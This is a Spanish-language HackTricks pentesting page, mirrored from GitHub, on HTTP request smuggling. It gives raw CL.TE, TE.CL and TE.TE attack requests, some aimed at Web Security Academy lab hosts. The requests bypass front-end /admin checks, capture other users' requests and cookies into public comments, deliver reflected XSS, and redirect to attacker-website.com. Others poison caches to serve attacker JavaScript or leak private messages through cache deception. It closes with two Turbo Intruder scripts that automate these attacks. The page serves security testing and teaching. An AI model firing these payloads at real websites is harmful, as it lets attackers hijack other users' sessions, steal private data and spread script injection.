Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 89a1b82bec Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
2024-01-01 18:33:30 +00:00
..
browser-http-request-smuggling.md f 2023-06-05 20:33:24 +02:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00

README.md

HTTP Request Smuggling / Ataque de Desincronización HTTP

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Qué es

Esta vulnerabilidad ocurre cuando una desincronización entre proxies frontales y el servidor back-end permite a un atacante enviar una solicitud HTTP que será interpretada como una solicitud única por los proxies frontales (balanceador de carga/proxy inverso) y como 2 solicitudes por el servidor back-end.
Esto permite a un usuario modificar la siguiente solicitud que llegue al servidor back-end después de la suya.

Teoría

Especificación RFC (2161)

Si se recibe un mensaje con un campo de encabezado Transfer-Encoding y un campo de encabezado Content-Length, este último DEBE ser ignorado.

Content-Length

El encabezado de entidad Content-Length indica el tamaño del cuerpo de la entidad, en bytes, enviado al destinatario.

Transfer-Encoding: chunked

El encabezado Transfer-Encoding especifica la forma de codificación utilizada para transferir de manera segura el cuerpo del mensaje al usuario.
Chunked significa que los datos grandes se envían en una serie de fragmentos.

Realidad

El Front-End (un balanceador de carga / Proxy Inverso) procesa el encabezado content-length o el encabezado transfer-encoding y el servidor Back-end procesa el otro, provocando una desincronización entre los 2 sistemas.
Esto podría ser muy crítico ya que un atacante podrá enviar una solicitud al proxy inverso que será interpretada por el servidor back-end como 2 solicitudes diferentes. El peligro de esta técnica reside en el hecho de que el servidor back-end interpretará la 2ª solicitud inyectada como si proviniera del siguiente cliente y la solicitud real de ese cliente será parte de la solicitud inyectada.

Particularidades

Recuerda que en HTTP un carácter de nueva línea está compuesto por 2 bytes:

  • Content-Length: Este encabezado utiliza un número decimal para indicar el número de bytes del cuerpo de la solicitud. Se espera que el cuerpo termine en el último carácter, no se necesita una nueva línea al final de la solicitud.
  • Transfer-Encoding: Este encabezado utiliza en el cuerpo un número hexadecimal para indicar el número de bytes del siguiente fragmento. El fragmento debe terminar con una nueva línea, pero esta nueva línea no se cuenta en el indicador de longitud. Este método de transferencia debe terminar con un fragmento de tamaño 0 seguido de 2 nuevas líneas: 0
  • Connection: Basado en mi experiencia, se recomienda usar Connection: keep-alive en la primera solicitud del Smuggling.

Ejemplos Básicos

Por lo tanto, los ataques de smuggling de solicitudes implican colocar tanto el encabezado Content-Length como el encabezado Transfer-Encoding en una única solicitud HTTP y manipular estos de tal manera que los servidores frontales y back-end procesen la solicitud de manera diferente. La forma exacta en que se hace esto depende del comportamiento de los dos servidores:

  • CL.TE: el servidor frontal utiliza el encabezado Content-Length y el servidor back-end utiliza el encabezado Transfer-Encoding.
  • TE.CL: el servidor frontal utiliza el encabezado Transfer-Encoding y el servidor back-end utiliza el encabezado Content-Length.
  • TE.TE: los servidores frontal y back-end admiten el encabezado Transfer-Encoding, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.

Vulnerabilidades CL.TE

Aquí, el servidor frontal utiliza el encabezado Content-Length y el servidor back-end utiliza el encabezado Transfer-Encoding. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Note cómo Content-Length indica que la longitud del cuerpo de la solicitud es de 30 bytes (recuerde que HTTP usa como nueva línea, por lo que 2 bytes cada nueva línea), por lo que el proxy inverso enviará la solicitud completa al back-end, y el back-end procesará el encabezado Transfer-Encoding dejando el GET /404 HTTP/1.1 como el comienzo de la siguiente solicitud (por cierto, la siguiente solicitud se adjuntará a Foo:x<Comienza la siguiente solicitud aquí>).

Vulnerabilidades TE.CL

Aquí, el servidor frontal utiliza el encabezado Transfer-Encoding y el servidor back-end utiliza el encabezado Content-Length. Podemos realizar un ataque simple de smuggling de solicitudes HTTP de la siguiente manera:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

En este caso, el proxy inverso enviará toda la solicitud al back-end como indica el Transfer-encoding. Pero, el back-end va a procesar solo los 7b (4 bytes) como se indica en el Content-Length. Por lo tanto, la siguiente solicitud será la que comience por GET /404 HTTP/1.1

Note que incluso si el ataque debe terminar con un 0, la siguiente solicitud se adjuntará como valores adicionales del parámetro x.
También note que el Content-Length de la solicitud incrustada indicará la longitud de la siguiente solicitud que se adjuntará al parámetro x. Si es demasiado pequeño, solo se adjuntarán unos pocos bytes, y si es demasiado grande (mayor que la longitud de la siguiente solicitud) se lanzará un error para la siguiente solicitud.

Vulnerabilidades TE.TE

Aquí, los servidores frontal y back-end admiten el encabezado Transfer-Encoding, pero se puede inducir a uno de los servidores a no procesarlo al ofuscar el encabezado de alguna manera.
Hay potencialmente infinitas formas de ofuscar el encabezado Transfer-Encoding. Por ejemplo:

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

Dependiendo del servidor (proxy inverso o respaldo) que deje de procesar el encabezado TE, encontrará una vulnerabilidad CL.TE o una vulnerabilidad TE.CL.

Encontrando HTTP Request Smuggling

Encontrando vulnerabilidades CL.TE usando técnicas de tiempo

Si una aplicación es vulnerable a la variante CL.TE del smuggling de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso en el tiempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Dado que el servidor frontal utiliza el encabezado Content-Length, solo reenviará parte de esta solicitud, omitiendo el 0. El servidor de fondo utiliza el encabezado Transfer-Encoding, procesa el primer fragmento y luego espera a que llegue el siguiente fragmento. Esto causará un retraso de tiempo observable.

A veces, en lugar de obtener un tiempo de espera, recibes un error 400 de solicitud incorrecta del host final como en el siguiente escenario, donde se envía una carga útil CL.TE:

Y la respuesta es una redirección que contiene un error dentro del cuerpo con incluso la versión del haproxy utilizado:

Encontrando vulnerabilidades TE.CL utilizando técnicas de temporización

Si una aplicación es vulnerable a la variante TE.CL de contrabando de solicitudes, entonces enviar una solicitud como la siguiente a menudo causará un retraso de tiempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Sondeando vulnerabilidades de contrabando de solicitudes HTTP

Una vez que hayas encontrado que las técnicas de temporización están funcionando, necesitas sondear que puedes alterar las solicitudes de otros clientes.
La forma más fácil de hacer esto es intentar envenenar tus propias solicitudes, hacer que una solicitud a / devuelva un 404, por ejemplo.
En los Ejemplos Básicos ya vimos ejemplos de CL.TE y TE.CL de cómo envenenar la solicitud de un cliente para pedir /404 provocando una respuesta 404 cuando el cliente estaba pidiendo cualquier otro recurso.

Notas

Algunas consideraciones importantes deben tenerse en cuenta al intentar confirmar vulnerabilidades de contrabando de solicitudes a través de la interferencia con otras solicitudes:

  • La solicitud de "ataque" y la solicitud "normal" deben enviarse al servidor utilizando diferentes conexiones de red. Enviar ambas solicitudes a través de la misma conexión no probará que la vulnerabilidad existe.
  • La solicitud de "ataque" y la solicitud "normal" deben usar la misma URL y nombres de parámetros, en la medida de lo posible. Esto se debe a que muchas aplicaciones modernas enrutan las solicitudes del front-end a diferentes servidores back-end basados en la URL y los parámetros. Usar la misma URL y parámetros aumenta la posibilidad de que las solicitudes sean procesadas por el mismo servidor back-end, lo cual es esencial para que el ataque funcione.
  • Al probar la solicitud "normal" para detectar cualquier interferencia de la solicitud de "ataque", estás en una carrera con cualquier otra solicitud que la aplicación esté recibiendo al mismo tiempo, incluidas las de otros usuarios. Debes enviar la solicitud "normal" inmediatamente después de la solicitud de "ataque". Si la aplicación está ocupada, podrías necesitar realizar varios intentos para confirmar la vulnerabilidad.
  • En algunas aplicaciones, el servidor front-end funciona como un balanceador de carga y reenvía las solicitudes a diferentes sistemas back-end de acuerdo con algún algoritmo de balanceo de carga. Si tus solicitudes de "ataque" y "normal" se reenvían a diferentes sistemas back-end, entonces el ataque fallará. Esta es una razón adicional por la que podrías necesitar intentarlo varias veces antes de que se pueda confirmar una vulnerabilidad.
  • Si tu ataque tiene éxito en interferir con una solicitud posterior, pero esta no fue la solicitud "normal" que enviaste para detectar la interferencia, entonces esto significa que otro usuario de la aplicación fue afectado por tu ataque. Si continúas realizando la prueba, esto podría tener un efecto perturbador en otros usuarios, y debes proceder con precaución.

Forzando a través de encabezados hop-by-hop

Abusando de los encabezados hop-by-hop podrías indicar al proxy que elimine el encabezado Content-Length o Transfer-Encoding para que sea posible abusar del contrabando de solicitudes HTTP.

Connection: Content-Length

Para más información sobre encabezados hop-by-hop visita:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abusando del HTTP Request Smuggling

Para evadir controles de seguridad front-end

A veces los proxies front-end realizan algunas comprobaciones de seguridad. Puedes evitarlas abusando del HTTP Request Smuggling ya que podrás eludir las protecciones. Por ejemplo, en este ejemplo no puedes acceder a /admin desde el exterior y el proxy front-end está comprobando eso, pero este proxy no está comprobando la solicitud embebida:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Revelando la reescritura de solicitudes front-end

En muchas aplicaciones, el servidor front-end realiza alguna reescritura de solicitudes antes de que sean enviadas al servidor back-end, típicamente añadiendo algunos encabezados adicionales a la solicitud.
Una práctica común es añadir al encabezado de la solicitud X-Forwarded-For: <IP del cliente> o algún encabezado similar para que el back-end conozca la IP del cliente.
A veces, si puedes encontrar qué nuevos valores se añaden a la solicitud podrías ser capaz de eludir protecciones y acceder a información/endpoint ocultos.

Para descubrir cómo el proxy está reescribiendo la solicitud necesitas encontrar un parámetro POST que el back-end reflejará su valor en la respuesta. Luego, usa este parámetro como el último y utiliza un exploit como este:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

En este caso la siguiente solicitud se añadirá después de search=, que es también el parámetro cuyo valor se reflejará en la respuesta, por lo tanto, va a reflejar los encabezados de la siguiente solicitud.

Nota que solo la longitud indicada en el encabezado Content-Length de la solicitud embebida se reflejará. Si usas un número bajo, solo se reflejarán unos pocos bytes, si usas un número mayor que la longitud de todos los encabezados, entonces la solicitud embebida generará un error. Entonces, deberías comenzar con un número pequeño e incrementarlo hasta que veas todo lo que querías ver.
Nota también que esta técnica también es explotable con una vulnerabilidad TE.CL pero la solicitud debe terminar con search=\r\n0. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.

Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy front-end está reescribiendo la solicitud.

Capturando solicitudes de otros usuarios

Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes añadir la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

En este caso, el valor del parámetro comentario se guardará dentro de un comentario de una publicación en la página que está disponible públicamente, por lo que un comentario aparecerá con el contenido de la siguiente solicitud.

Una limitación con esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud contrabandeada. Para envíos de formularios codificados en URL, será el carácter &, lo que significa que el contenido que se almacena de la solicitud del usuario víctima terminará en el primer &, que incluso podría aparecer en la cadena de consulta.

Nota también que esta técnica también es explotable con una vulnerabilidad TE.CL pero la solicitud debe terminar con search=\r\n0. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.

Usando HTTP Request Smuggling para explotar XSS reflejado

Si la página web también es vulnerable a XSS reflejado, puedes abusar del HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado desde HTTP Request Smuggling tiene algunas ventajas:

  • No requiere interacción con los usuarios víctimas
  • Se puede utilizar para explotar comportamientos XSS en partes de la solicitud que no se pueden controlar trivialmente en un ataque XSS reflejado normal, como los encabezados de las solicitudes HTTP.

Si una web es vulnerable a XSS reflejado en el encabezado User-Agent puedes usar este payload para explotarlo:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

Usando HTTP Request Smuggling para convertir una redirección interna en una redirección abierta

Muchas aplicaciones realizan redirecciones internas de una URL a otra y colocan el nombre de host del encabezado Host de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud de una carpeta sin una barra inclinada al final recibe una redirección a la misma carpeta incluyendo la barra inclinada:

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Este comportamiento normalmente se considera inofensivo, pero puede ser explotado en un ataque de contrabando de solicitudes para redirigir a otros usuarios a un dominio externo. Por ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

La solicitud contrabandeada desencadenará una redirección al sitio web del atacante, lo que afectará la siguiente solicitud del usuario que sea procesada por el servidor back-end. Por ejemplo:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta.

Usando HTTP Request Smuggling para realizar envenenamiento de caché web

Si alguna parte de la infraestructura front-end realiza caché de contenido (generalmente por razones de rendimiento) entonces podría ser posible envenenar esa caché modificando la respuesta del servidor.

Ya hemos visto cómo modificar el valor de retorno esperado del servidor a un 404 (en los Ejemplos Básicos), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada está pidiendo /static/include.js. De esta manera, el contenido de /static/include.js se almacenará en caché con el contenido de /index.html haciendo /static/include.js inaccesible para los clientes (¿DoS?).

Nota que esto es aún más interesante si encuentras algún Open Redirect o alguna redirección interna a redirección abierta (última sección). Porque, podrías ser capaz de cambiar los valores de caché de /static/include.js con los de un script controlado por ti (haciendo un XSS general a todos los clientes que intenten descargar la nueva versión de /static/include.js).

En este ejemplo se mostrará cómo puedes explotar un envenenamiento de caché + redirección interna a redirección abierta para modificar los contenidos de la caché de /static/include.js para servir código JS controlado por el atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

Nota cómo la solicitud embebida está pidiendo /post/next?postId=3 Esta solicitud será redirigida a /post?postId=4 y usará el valor del encabezado Host para indicar el dominio. Por lo tanto, puedes modificar el encabezado Host para apuntar al servidor del atacante y la redirección usará ese dominio (redirección interna a redirección abierta).

Luego, después de envenenar el socket, necesitas enviar una solicitud GET a /static/include.js esta solicitud será envenenada por la solicitud de redirección interna a redirección abierta y obtendrá los contenidos del script controlado por el atacante.

La próxima vez que alguien pida /static/include.js se servirán los contenidos en caché del script del atacante (XSS general).

Usando HTTP Request Smuggling para realizar decepción de caché web

¿Cuál es la diferencia entre envenenamiento de caché web y decepción de caché web?

  • En el envenenamiento de caché web, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
  • En la decepción de caché web, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y el atacante luego recupera este contenido de la caché.

En esta variante, el atacante contrabandea una solicitud que devuelve algún contenido sensible específico del usuario. Por ejemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

Si el envenenamiento alcanza a un cliente que estaba accediendo a algún contenido estático como /someimage.png que iba a ser almacenado en caché. Los contenidos de /private/messages de la víctima se almacenarán en caché en /someimage.png y el atacante podrá robarlos.
Nota que el atacante no sabe qué contenido estático estaba intentando acceder la víctima por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y cargar todo el contenido estático y buscar los datos privados.

Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP

¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts de Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Más información

Imagen de aquí.

Herramientas

Referencias

Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks: